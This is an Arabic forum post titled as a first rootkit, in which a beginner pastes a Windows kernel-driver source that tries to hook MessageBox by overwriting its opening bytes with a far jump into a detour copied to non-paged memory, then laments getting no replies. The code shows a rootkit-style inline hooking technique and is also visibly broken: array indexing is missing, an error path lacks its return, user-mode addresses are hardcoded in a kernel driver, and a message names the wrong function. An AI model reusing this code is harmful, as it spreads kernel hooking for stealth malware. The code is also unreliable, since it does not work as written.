[ تمت الإجابة ]اول rootkit

لم استطع ارفاق الملف

#include "ntddk.h"

char* pMessageBox;

void OnUnload(IN PDRIVER_OBJECT theDriverObject)
{
     DbgPrint("Unloaded successfully!");
}

__declspec(naked) void OurMessageBox()
{
                  DbgPrint("MessageBox Has been called");
                  _asm
                  {
                      push ebp;
                      mov  ebp,esp
                      cmp dword ptr ds:[0x77DA041C],0        
                      
                      
                      /////now setup the jump
                      _emit 0xEA
                   _emit 0xAA
                _emit 0xAA
                _emit 0xAA
                _emit 0xAA
                _emit 0x08
                _emit 0x00           
                      
                  }
                  
}


NTSTATUS CheckFunctionBytes()
{
         int i=0;



	char c[] = { 0x8B, 0xFF, 0x55, 0x8B, 0xEC, 0x83, 0x3D, 0x1C, 0x04 , 0xDA , 0x77 , 0x00 };

	while(i<12)
	{
  DbgPrint(" - 0x%02X ", (unsigned char)pMessageBox);
  if(pMessageBox != c)
  {
 	 return STATUS_UNSUCCESSFUL; 
  }
  i++;
	}
	return STATUS_SUCCESS;
}


void DetourFunction()
{
    
	char *non_paged_memory;
	unsigned long detour_address;
	unsigned long reentry_address;
	int i = 0;


	char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90, 0x90 };


	reentry_address = ((unsigned long)pMessageBox) + 12; 

	non_paged_memory = ExAllocatePool(NonPagedPool, 256);


	for(i=0;i<256;i++)
	{
  ((unsigned char *)non_paged_memory) = ((unsigned char *)OurMessageBox);
	}

	detour_address = (unsigned long)non_paged_memory;

	// stamp in the target address of the far jmp
	*( (unsigned long *)(&newcode[1]) ) = detour_address;

	// now, stamp in the return jmp into our detour
	// function
	for(i=0;i<200;i++)
	{
  if( (0xAA == ((unsigned char *)non_paged_memory)) &&
 	 (0xAA == ((unsigned char *)non_paged_memory)[i+1]) &&
 	 (0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&
 	 (0xAA == ((unsigned char *)non_paged_memory)[i+3]))
  {
 	 // we found the address 0xAAAAAAAA
 	 // stamp it w/ the correct address
 	 *( (unsigned long *)(&non_paged_memory) ) = reentry_address;
 	 break;
  }
	}

	//TODO, raise IRQL

	//overwrite the bytes in the kernel function
	//to apply the detour jmp
	for(i=0;i < 12;i++)
	{
  pMessageBox = newcode;
	}

	//TODO, drop IRQL
}


NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
	DbgPrint("I loaded!");


	pMessageBox = (char*)( 0x77D8050B);

	if(!pMessageBox)
	{
                    DbgPrint("Error finding MessageBox Address!");
                    STATUS_UNSUCCESSFUL;                    
    }
    
    theDriverObject->DriverUnload = OnUnload;
    
    if(STATUS_SUCCESS != CheckFunctionBytes())
	{
  DbgPrint("Match Failure on NtDeviceIoControlFile!");
  return STATUS_UNSUCCESSFUL;
	}


	DetourFunction();
    
    


	return STATUS_SUCCESS;
}

معقولة يا جماعة , الى الان ما فى اى رد

MessageBox.zip